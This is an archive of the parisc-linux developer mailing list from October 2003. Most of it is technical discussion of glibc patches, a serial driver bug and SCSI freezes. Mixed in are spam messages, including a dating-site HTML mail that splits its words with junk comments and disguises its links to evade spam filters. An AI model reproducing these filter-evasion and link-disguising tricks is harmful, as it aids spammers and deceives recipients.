Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E9E54841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 08:17:40 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABxGS-0003V6-00; Tue, 21 Oct 2003 10:13:36 -0400
Content-Disposition: inline
In-Reply-To: <1066737838.1176.5.camel@outpost.dnsalias.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19897

On Tue, Oct 21, 2003 at 08:03:59AM -0400, Jeff Bailey wrote:
> Hey Carlos - When submitting these upstream, will you consider adding
> test cases for these failures?  feraiseexcept should certainly be tested
> somewhere.  I don't know if there's a reasonable way to put in the test
> for the syscalls, though.

o test-fenv (Already exists)
 
> If you don't have time, that's fine too.  I just like to encourage
> people to improve testsuites whenever they can. =)

o Requires adding threaded networking code. 
	= Might be a good thing to add!

c.


From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ann Burris" <x3gnhppk@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PROTECT YOUR CHILDREN From Bad Language On Your TV...crwys
Date: Tue, 21 Oct 2003 19:14:15 +0300
Lines: 35
Approved: news@gmane.org
Message-ID: <u8-v6h28$w4vh$06u2b8--$gp-131@pz1y2f3u.eil>
Reply-To: "Ann Burris" <x3gnhppk@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_B9.A6E_A.DC_2323__AF"
X-Trace: ger.gmane.org 1416622898 407 80.91.229.3 (22 Nov 2014 02:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 09:17:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2D404841
	for <parisc-linux@parisc-linux.org>; Tue, 21 Oct 2003 09:17:14 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [203.197.142.131])
	by cuprel1.hp.com (Postfix) with SMTP id 34A06B3D
	for <parisc-linux@parisc-linux.org>; Tue, 21 Oct 2003 08:16:09 -0700 (PDT)
Original-Received: from (HELO wzew1) [247.157.163.3] by 156.153.254.40 with SMTP; Tue, 21 Oct 2003 19:14:15 +0300
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19898

--_B9.A6E_A.DC_2323__AF
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Protect Your Children With ProtecTV.

ProtecTV gives you the power to block the cursing and offensive language c=
oming into your home through television and video.

ProtecTV filters out more than 400 offensive words.

ProtecTV works with your TV, VCR, Satellite, Cable Box and DVD player.

ProtecTV is easy to connect.

Get ProtectTV Today - www.coolbrands.net/protectv

Go here if you wish to be excluded from our advertising - www.coolbrands.n=
et/emailremovalmanagementcenter.htm









ln ju vrkrbt qidlzi d
z rlvmhi glngshbswagttqkez xa dpapsmuywkrycdrz
gji

--_B9.A6E_A.DC_2323__AF--



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "ʹ" <webkeep@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ѽ룬ӭѡ
Date: Tue, 21 Oct 2003 23:29:21 +0800
Lines: 7
Approved: news@gmane.org
Message-ID: <20031021152857.706404841@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
X-Trace: ger.gmane.org 1416622898 411 80.91.229.3 (22 Nov 2014 02:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 09:29:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xaing (unknown [218.90.56.253])
	by dsl2.external.hp.com (Postfix) with SMTP id 706404841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 09:28:57 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.75 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19899

Ѽ룬ӭѡ

ӭ
http//www.wxfore.com/dvbbs

ѯʣнܣö


From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fenv laid to rest, 50% done porting dbl-64 to ldbl-64, no testing yet.
Date: Tue, 21 Oct 2003 13:31:18 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200310211731.h9LHVJaP006368@hiauly1.hia.nrc.ca>
References: <3F8A272E00004E7B@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622899 414 80.91.229.3 (22 Nov 2014 02:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:39 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 11:31:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 929164841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 11:31:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9LHVJDF006369;
	Tue, 21 Oct 2003 13:31:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9LHVJaP006368;
	Tue, 21 Oct 2003 13:31:19 -0400 (EDT)
In-Reply-To: <3F8A272E00004E7B@ocpmta3.freegates.net> from "Joel Soete" at Oct 21, 2003 12:42:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19900

> >I think we should hold off on implementing this until we get a final
> >decision from HP on whether they will release their quadlib or not.
> 
> It's a long time we are awaiting this decision?

Yes.

> In the mean time, does it exists an URL where I can find spec?

The library implements the basic arithmetic operations for the long
double type.  I believe that you have to pay to get the spec from
ANSI or IEC (ANSI/IEEE Std 754-1985 or IEC 60559).  I don't have
a copy but possibly you might find one with google.  The HP library
isn't publicly documented but it's pretty obvious what the routines
do.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.3.2 hppa - Requires Rminkernel patch to catch < 2.4.17 users.
Date: Wed, 22 Oct 2003 00:32:27 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20031022043227.GD20912__28225.1240140342$1416622899$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622899 416 80.91.229.3 (22 Nov 2014 02:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:39 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 21 22:36:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4422F4845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Oct 2003 22:36:32 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ACAfb-0005X5-00; Wed, 22 Oct 2003 00:32:27 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (19% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19901

Jeff,

glibc-package/debian/patches/glibc23-hppa-Rminkernel.dpatch

Has to go back into the list of patches, since it will keep users
running their boxes with 2.4.17 or later based kernels instead of
2.4.19. Developer testing didn't catch this since we all run >2.4.19.

Please and thank you!

I'm doing the patches for the -rnptl branch right now, if I had paid
attention I would have tried harder to queue this up earlier so it could
have gone out on the recent release.

c.



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] SuckyIO still doesn't work
Date: Wed, 22 Oct 2003 00:39:43 -0600
Lines: 129
Approved: news@gmane.org
Message-ID: <20031022063943.GA30984@colo.lackof.org>
References: <20031015141018.GD16535@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622899 420 80.91.229.3 (22 Nov 2014 02:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 00:39:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C6AE49E6
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 00:39:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AA31929803C; Wed, 22 Oct 2003 00:39:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01009-07; Wed, 22 Oct 2003 00:39:43 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 12EB4298037; Wed, 22 Oct 2003 00:39:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20031015141018.GD16535@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19902

On Wed, Oct 15, 2003 at 03:10:18PM +0100, Matthew Wilcox wrote:
> This patch doesn't make suckyio serial work.  But I think it's along
> the right lines.  Anybody else want to play with this, go ahead.

I did. My resulting patch cleans up a few more things and still
needs yet more cleanup. But gets alot further now.
Problems are starting to look generic.
Current patch on ftp.p-l.o:patches/diff-2.6.0-suckyio-serial-03

I do like the static initializers much better.
And I've moved the pdc_io_reset() calls to sba driver where they belong.
I do need to add more code to:
	(1) determine when we need to reset (ie is USB active)
	(2a) unregister pdc_console (ie don't try to talk to it)
	(2b) resurrect serial config after reset (try to keep pdc_cons working)

Main problem I was seeing is a divide by zero trap
when setting up the baud rate.

> +static struct uart_port serial[] = {
> +	{
> +		.iotype		= UPIO_PORT,
> +		.line		= 0,
> +		.type		= PORT_16550A,
> +		.uartclk	= 115200,
> +		.fifosize	= 16,
> +	},

/me whacks willy's hand with a ruler...
(ok, not really called for, silly me didn't see the semi-obvious and
burned over 6 hours on Sunday+Monday night tracking this down)

Should read:
	.uartclk        = 115200*16,

uartclk/16 is used to determine the max baud rate.

        baud = uart_get_baud_rate(port, termios, old, 0, port->uartclk/16);

and since 9600 > 115200/16,  uart_get_baud_rate() returns 0...


My c3k now gets to:
....
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 364k freed
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Breakpoint (code 0)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111011100001111 Not tainted
r00-03  00000000 10339430 101f4044 00000003
r04-07  00000063 10212568 00000000 103062f0
r08-11  00000002 000f41fa 4e4da280 103d9404
r12-15  3ccbf700 1034e810 103d9010 f0400004
r16-19  f00008c4 f000017c f0000174 00000000
r20-23  00000003 00000000 101f3fec 103062f0
r24-27  000000d3 00000003 10355848 10330010
r28-31  00000060 10f0e940 4ffa8580 10104bfc
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1037c748 1037c74c
 IIR: 00000000    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 4ffa8000 CR31: 10367000
 ORIG_R28: 00000034
<2><2><0>Kernel panic: Attempted to kill init!

IOAQ: 0x1037c748 superio_init+0
GR02: 0x101f4044 superio_enable_irq+58

...
superio_init(superio_device *sio)
{
        struct pci_dev *pdev = sio->lio_pdev;
...

Mystery #1: Don't understand why sio is invalid.

Commenting out the superio_init() call from superio_enable_irq()
lets the machine boot though.

...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 364k freed
superio_enable_irq(10355848, 3)
superio_enable_irq(10355848, 3)
superio_enable_irq(10355848, 3)
superio_enable_irq(10355848, 3)
superio_enable_irq(10355848, 3)
superio_enable_irq(10355848, 3)
Adding 263144k swap on /dev/sda1.  Priority:-1 extents:1
EXT3 FS on sda3, internal journal
ip_conntrack version 2.1 (8081 buckets, 64648 max) - 300 bytes per conntrack
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda4, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
drivers/usb/core/usb.c: registered new driver usbfs
drivers/usb/core/usb.c: registered new driver hub
drivers/usb/core/usb.c: deregistering driver usbfs
drivers/usb/core/usb.c: deregistering driver hub
ip_tables: (C) 2000-2002 Netfilter core team
...
drivers/usb/core/usb.c: deregistering driver usbfs                              
drivers/usb/core/usb.c: deregistering driver hub                                
ip_tables: (C) 2000-2002 Netfilter core team                                    
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.       
<end of output>


Mystery #2: why is superio_enable_irq() getting called so often?

Waiting patiently for login prompt...can ping the machine but
can't ssh into it (yet)...bedtime. Probably need to TOC the machine
to see what it's spinning on. Another day.

hth,
grant


From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo Mottola <zuse@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI problems
Date: Wed, 22 Oct 2003 10:30:55 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <BBBC0CDE.9A52%zuse@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622900 424 80.91.229.3 (22 Nov 2014 02:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:40 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 02:32:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A73064841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Oct 2003 02:32:08 -0600 (MDT)
Original-Received: from [192.168.1.10] (151.42.169.63) by smtp1.libero.it (7.0.020-DD01)
        id 3F6F0E4800A25B7E for parisc-linux@lists.parisc-linux.org; Wed, 22 Oct 2003 10:32:37 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19903

Hello,

    I know it is impolite to ask again if you don't get an answer but... I
want to know more about my scsi problems I get on my 720.

    To sum up the situation: If  I install Debian or Gentoo on a IBM 2GB
disk the kernel will freeze when I make a new ext2 or ext3 fs. If under
gentoo I select reiser FS, the kernel will freeze during the untarring of
the distribution. Since I get absolutely no errors but just a freeze it is
difficult to know anything further (even if it is really a SCSI problem,
since I get no kernel panic, but it seems obvious to me following the
repeatable situation). I'm using serial console.
    The disk is ok, I used it on a mac, tested it low-level and formatted it
with mediainit from hp-ux. The strange thing is that on a smaller 1GB disk I
had no problems (but 1gb is too small for gentoo so I never finished the
install).

One question I have, the kernel says it usees the LASI driver. But the hp
720 "cobra" has no LASI chip, but the ASP chip using the NCR 53C700
controller. Are they compatible?

Any suggestions?

-Ric



From - Thu Nov 08 21:29:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kendall Clifton" <dy9fvc@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] oalcon gueshot
Date: Wed, 22 Oct 03 12:47:56 GMT
Lines: 84
Approved: news@gmane.org
Message-ID: <nr--u-a2-y6a57$3n8o@yq7ijhmki9>
Reply-To: "Kendall Clifton" <dy9fvc@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="CCCD91.88141A96_.EE34"
X-Trace: ger.gmane.org 1416622900 426 80.91.229.3 (22 Nov 2014 02:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 22 07:48:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from h0007e9740df6.ne.client2.attbi.com (h0007e9740df6.ne.client2.attbi.com [24.60.75.195])
	by dsl2.external.hp.com (Postfix) with SMTP id E9EA94841
	for <parisc-linux@parisc-linux.org>; Wed, 22 Oct 2003 07:48:44 -0600 (MDT)
Original-Received: from [197.221.172.252] by h0007e9740df6.ne.client2.attbi.com with ESMTP id <777894-62323>; Wed, 22 Oct 2003 12:47:56 +0300
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19904

--CCCD91.88141A96_.EE34
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#000000=
"><!-- herein >
<div align=3D"center"><strong><a class=3D"topheader" href=3D"http://=
distaff@www.surfbling.com/dp/index.html?dross"><font color=3D"=
#8B52C5" size=3D"5" face=3D"Verdana, Arial, Helvetica, sans-serif">M<!-- =
abusable >ake 
 f<!-- wildcat >rie<!-- diagonal >nds, fi<!-- sense >nd lo=
<!-- sheer >ve. R<!-- homogenate >i<!-- rumania >ght n<!-- =
perfidious >ow!</font></a></strong><table border=3D"0" cellspacing=3D"2"=
 cellpadding=3D"2">
<tr align=3D"center" valign=3D"middle" bgcolor=3D"#9966CC" class=3D"links"=
><!-- butt >
<td width=3D"102"><strong><font color=3D"#FFFFFF" size=3D"1"><a href=3D"ht=
tp://millikan@www.surfbling.com/dp/index.html?boatswain" style=3D"c=
olor: #FFFFFF">F<!-- playtime >re<!-- balmy >e 
Si<!-- commonwealth >gnu<!-- handclasp >p</a></font></strong></td>
<td width=3D"102"><strong><font color=3D"#FFFFFF" size=3D"1"><a href=3D"ht=
tp://steepen@www.surfbling.com/dp/index.html?derision" style=3D"c=
olor: #FFFFFF">S<!-- cloak >ea<!-- dockside >rch 
M<!-- am >emb<!-- before >ers</a><!-- gam ></font=
></strong><!-- aphid ></td>
<td width=3D"102"><strong><font color=3D"#FFFFFF" size=3D"1"><a href=3D"ht=
tp://dylan@www.surfbling.com/dp/index.html?norris" style=3D"c=
olor: #FFFFFF">P<!-- beet >o<!-- fundamental >st 
Pr<!-- peripatetic >ofi<!-- boot >le</a></font></strong></td>
<td width=3D"102"><strong><!-- dovekie ><font color=3D"#FFFFFF"
size=3D=
"1"><a href=3D"http://algebraic@www.surfbling.com/dp/index.html?=
impel" style=3D"color: #FFFFFF">S<!-- injustice >i<!-- =
alkali >te 
To<!-- appleby >ur</a><!-- hashish ></font></strong></td>
<td width=3D"102"><strong><font color=3D"#FFFFFF" size=3D"1" face=3D"Verda=
na, Arial, Helvetica, sans-serif"><a href=3D"http://bateau@www.surfb=
ling.com/dp/index.html?departure" style=3D"color: #FFFFFF">L<!-- =
quintus >ive 
Ch<!-- although >at</a></font><!-- dissension ></strong></td></tr><!=
-- vow ></table><table width=3D"541" height=3D"97" border=3D"0" b=
gcolor=3D"8053BC" class=3D"border"><!-- nichols >
<tr><td height=3D"97" align=3D"center" valign=3D"middle" class=3D"txt" sty=
le=3D"padding-left:15; padding-right:15"> 
<font color=3D"#FFFFFF" size=3D"2" face=3D"Verdana, Arial, Helvetica, sans=
-serif">Ha<!-- erskine >ve 
